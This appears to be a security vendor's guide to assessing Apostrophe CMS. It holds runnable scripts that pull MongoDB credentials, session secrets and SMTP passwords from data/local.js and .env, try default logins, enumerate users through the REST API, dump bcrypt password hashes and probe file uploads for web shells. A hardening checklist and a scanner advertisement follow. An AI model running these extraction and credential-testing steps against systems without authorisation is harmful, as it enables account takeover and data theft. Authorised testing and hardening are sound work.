CMS Security Testing

Apostrophe CMS Security Testing: Default Credentials, API Key, Database, and CMS

📅 July 3, 2026 ⏱ 10 min read 🏷 Apostrophe CMS, Node.js, Express, MongoDB, data/local.js, SESSION_SECRET, /login, apostrophe-users, bcrypt, _groups, REST API, /uploads/, Node.js CMS Security

Apostrophe CMS is a Node.js CMS built on Express and MongoDB, used by agencies and enterprises. Key assessment areas: data/local.js or environment variables expose MongoDB connection strings with credentials; admin credentials at /login; apostrophe-users collection stores bcrypt hashes with _groups identifying admin accounts; the REST API exposes piece and page content; and uploaded files in /uploads/ may enable web shell execution if serving is misconfigured. This guide covers systematic Apostrophe CMS security assessment.

data/local.js MongoDB Credential and SESSION_SECRET Extraction
REST API and Admin Panel Assessment
MongoDB apostrophe-users Hash and Content Extraction
Apostrophe CMS Security Hardening

data/local.js MongoDB Credential and SESSION_SECRET Extraction

# Apostrophe CMS — data/local.js MongoDB and SESSION_SECRET extraction
APOS_URL="https://site.example.com"

# data/local.js — Apostrophe CMS local configuration (overrides app.js)
node -e "
const cfg = require('/var/www/apostrophe/data/local.js');
if (cfg.db && cfg.db.uri) console.log('MongoDB URI:', cfg.db.uri);
if (cfg.session && cfg.session.secret) console.log('SESSION_SECRET:', cfg.session.secret.slice(0,60));
if (cfg.modules) {
  const email = cfg.modules['apostrophe-email'];
  if (email && email.nodemailer) console.log('SMTP password:', JSON.stringify(email.nodemailer).slice(0,60));
}
" 2>/dev/null
# MongoDB URI format: mongodb://user:password@host:27017/database  (CRITICAL)
# SESSION_SECRET: used for Express session signing — extract enables session forgery

# Environment variable extraction (Apostrophe 3.x uses .env)
grep -E "MONGO|SESSION|SECRET|PASSWORD" /var/www/apostrophe/.env 2>/dev/null | head -10

# Check data/local.js web access (must return 403)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${APOS_URL}/data/local.js" 2>/dev/null)
echo "/data/local.js: HTTP ${STATUS}"

# Apostrophe admin at /login
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${APOS_URL}/login" 2>/dev/null)
echo "/login: HTTP ${STATUS}"

# Test default credentials
for CRED in "admin@site.com:admin" "admin:admin" "admin@apostrophe.com:admin123"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESPONSE=$(curl -s -X POST "${APOS_URL}/login" \
    -H "Content-Type: application/json" \
    -d "{\"username\":\"${USER}\",\"password\":\"${PASS}\"}" \
    -c /tmp/apos_c 2>/dev/null)
  echo "${USER}/${PASS}: $(echo $RESPONSE | head -c 50)"
done

REST API and Admin Panel Assessment

# Apostrophe CMS REST API and admin panel assessment
APOS_URL="https://site.example.com"
SESSION="extracted-session-cookie"

# Apostrophe 3.x REST API — piece type enumeration
# Requires authentication; pieces include custom types and users
curl -s "${APOS_URL}/api/v1/@apostrophecms/user" \
  -H "Cookie: ${SESSION}" 2>/dev/null | \
  python3 -c "
import json, sys
d = json.load(sys.stdin)
results = d.get('results', [])
for u in results:
    print(f'{u.get(\"username\")} | {u.get(\"email\")} | groups: {u.get(\"_groups\")}')
" 2>/dev/null

# Apostrophe 2.x REST API (if apostrophe-headless module installed)
curl -s "${APOS_URL}/api/v1/apostrophe-pages/pages" \
  -H "Cookie: ${SESSION}" 2>/dev/null | head -10

# Apostrophe draft content — workflow module (if installed)
curl -s "${APOS_URL}/api/v1/@apostrophecms/page?_edit=1&aposMode=draft" \
  -H "Cookie: ${SESSION}" 2>/dev/null | head -10

# Apostrophe upload endpoint — file upload
curl -s -X POST "${APOS_URL}/api/v1/@apostrophecms/attachment/upload" \
  -H "Cookie: ${SESSION}" \
  -F "file=@/tmp/test.html" 2>/dev/null | head -5

# /uploads/ directory listing
curl -s "${APOS_URL}/uploads/" 2>/dev/null | grep -oE 'href="[^"]*"' | head -10

MongoDB apostrophe-users Hash and Content Extraction

# Apostrophe CMS MongoDB — apostrophe-users hash and content extraction
MONGO_PASS="extracted-mongodb-password"
DB_NAME="apostrophe"

mongosh "mongodb://apostrophe:${MONGO_PASS}@localhost:27017/${DB_NAME}" \
  --quiet --eval '
// apostrophe-users — user accounts with bcrypt hashes (Apostrophe 2.x)
db.apostrophe_users.find(
  { disabled: { $ne: true } },
  { username: 1, email: 1, password: 1, _groups: 1, createdAt: 1 }
).sort({ createdAt: 1 }).limit(20).forEach(function(u) {
  print(u.username + " | " + (u.email || "") + " | " + (u.password || "").slice(0,40) + " | " + JSON.stringify(u._groups || []));
});
// password: bcrypt hash ($2b$...)
// _groups: array of group IDs — admin group has all permissions

// @apostrophecms/user — Apostrophe 3.x user collection
db["@apostrophecms/user"].find(
  {},
  { username: 1, email: 1, password: 1, role: 1, archivedAt: 1 }
).sort({ updatedAt: -1 }).limit(20).forEach(function(u) {
  print((u.username || u.email) + " | role: " + (u.role || "guest") + " | pw: " + (u.password || "").slice(0,40));
});

// Draft content enumeration (apostrophe-workflow)
db.apostrophe_workflow_docs.find(
  { workflowGuid: { $exists: true }, type: { $ne: "apostrophe-workflow-commit" } },
  { title: 1, type: 1, workflowMode: 1, updatedAt: 1 }
).sort({ updatedAt: -1 }).limit(20).forEach(function(d) {
  print(d.title + " | " + d.type + " | " + (d.workflowMode || "draft"));
});
' 2>/dev/null

Apostrophe CMS Security Hardening

Apostrophe CMS Security Hardening Checklist:

Protect data/local.js and .env from web access and use strong SESSION_SECRET — Apostrophe CMS's data/local.js contains MongoDB connection URI (with username and password), SESSION_SECRET (used for Express session signing — extraction enables session forgery without credentials), SMTP passwords, and any third-party API keys configured in local overrides; Apostrophe 3.x uses .env for equivalent secrets; the data/ directory must be outside web-accessible paths; the correct deployment serves only the public/ directory (or the configured uploadfs public path) via the web server; verify /data/local.js returns HTTP 403; the SESSION_SECRET should be at least 64 characters of cryptographic randomness; rotate it after any exposure (invalidates all active sessions)
Authenticate MongoDB with a dedicated database user and restrict network access — Apostrophe's MongoDB connection uses the credentials in data/local.js; the MongoDB instance should bind only to localhost (127.0.0.1) or a private network interface — never expose port 27017 to the public internet; create a dedicated MongoDB user with read/write access only to the Apostrophe database (not admin or other databases); avoid using the MongoDB root user in the connection string; enable MongoDB authentication (auth = true in mongod.conf); for production deployments, consider MongoDB Atlas or a managed MongoDB service with VPC peering; audit MongoDB logs for unusual connection patterns
Restrict file uploads and prevent web shell execution in /uploads/ — Apostrophe's apostrophe-attachments module stores uploaded files in /public/uploads/ (Apostrophe 2.x) or a configurable uploadfs path (Apostrophe 3.x); uploaded files are served directly as static files; Apostrophe validates MIME types server-side, but web server misconfigurations can allow PHP or Node.js execution of uploaded files; configure your web server to serve /uploads/ as static files only — no script execution regardless of extension; for Nginx, use try_files without fastcgi_pass for the uploads location; audit accepted MIME types in Apostrophe configuration; for extra security, serve uploads from a separate subdomain or S3/CDN without execution capabilities
Limit admin (_groups: admin) account count and use strong passwords — Apostrophe's permission system uses groups to grant admin, editor, or contributor access; the admin group has full CMS access including user management and settings; minimize accounts with admin group membership; Apostrophe uses bcrypt for password storage ($2b$) with a configurable work factor — ensure it is at least 10; implement password complexity requirements via a custom beforeSave handler on apostrophe-users; Apostrophe does not include built-in rate limiting for the /login endpoint — implement rate limiting at the Express middleware level or via Nginx limit_req to prevent credential brute-force
Keep Apostrophe and its modules updated and audit npm dependencies — Apostrophe CMS has periodic releases with security fixes; subscribe to releases at github.com/apostrophecms/apostrophe; run npm audit to identify packages with known CVEs in the npm dependency tree — Apostrophe's rich ecosystem of modules adds attack surface; each custom module can register Express routes, MongoDB queries, and file upload handlers; audit custom module code for SSRF, path traversal, and injection vulnerabilities; Apostrophe 3.x made significant security improvements over 2.x including improved input sanitization and a redesigned permission system — consider migrating from 2.x which is no longer actively developed

Security Test	Method	Risk
data/local.js MongoDB URI password and SESSION_SECRET extraction	Read data/local.js — db.uri MongoDB password + session.secret signing key; full database access + session forgery without credentials	Critical
apostrophe-users bcrypt hash extraction with admin group identification	MongoDB db.apostrophe_users.find() — password ($2b$ bcrypt) + _groups admin membership; bcrypt requires GPU cracking but admin session enables full CMS	High
Admin credential brute-force at /login	POST /login JSON — username/password; no rate limiting; admin session enables user management, content editing, and file uploads	High
Apostrophe 3.x REST API @apostrophecms/user enumeration	GET /api/v1/@apostrophecms/user with session cookie — enumerate all users, email addresses, and roles; role=admin identifies privileged accounts	High
Upload /public/uploads/ web shell via attachment API with MIME bypass	POST /api/v1/@apostrophecms/attachment/upload — upload file with executable extension; if server serves /uploads/ with script execution, achieves web shell RCE	High

Automate Apostrophe CMS Security Testing

Ironimo tests Apostrophe CMS deployments for data/local.js MongoDB URI password and SESSION_SECRET web accessibility, admin credential brute-force at /login, apostrophe-users bcrypt hash extraction with admin group identification, Apostrophe 3.x REST API /api/v1/@apostrophecms/user enumeration, attachment upload MIME type bypass for /uploads/ web shell execution, MongoDB unauthenticated port 27017 exposure assessment, .env MONGO and SESSION_SECRET exposure, apostrophe-workflow draft content enumeration, /data/ and /node_modules/ web accessibility verification, and npm audit dependency CVE cross-reference.

Start free scan

Table of Contents

data/local.js MongoDB Credential and SESSION_SECRET Extraction

REST API and Admin Panel Assessment

MongoDB apostrophe-users Hash and Content Extraction

Apostrophe CMS Security Hardening

Automate Apostrophe CMS Security Testing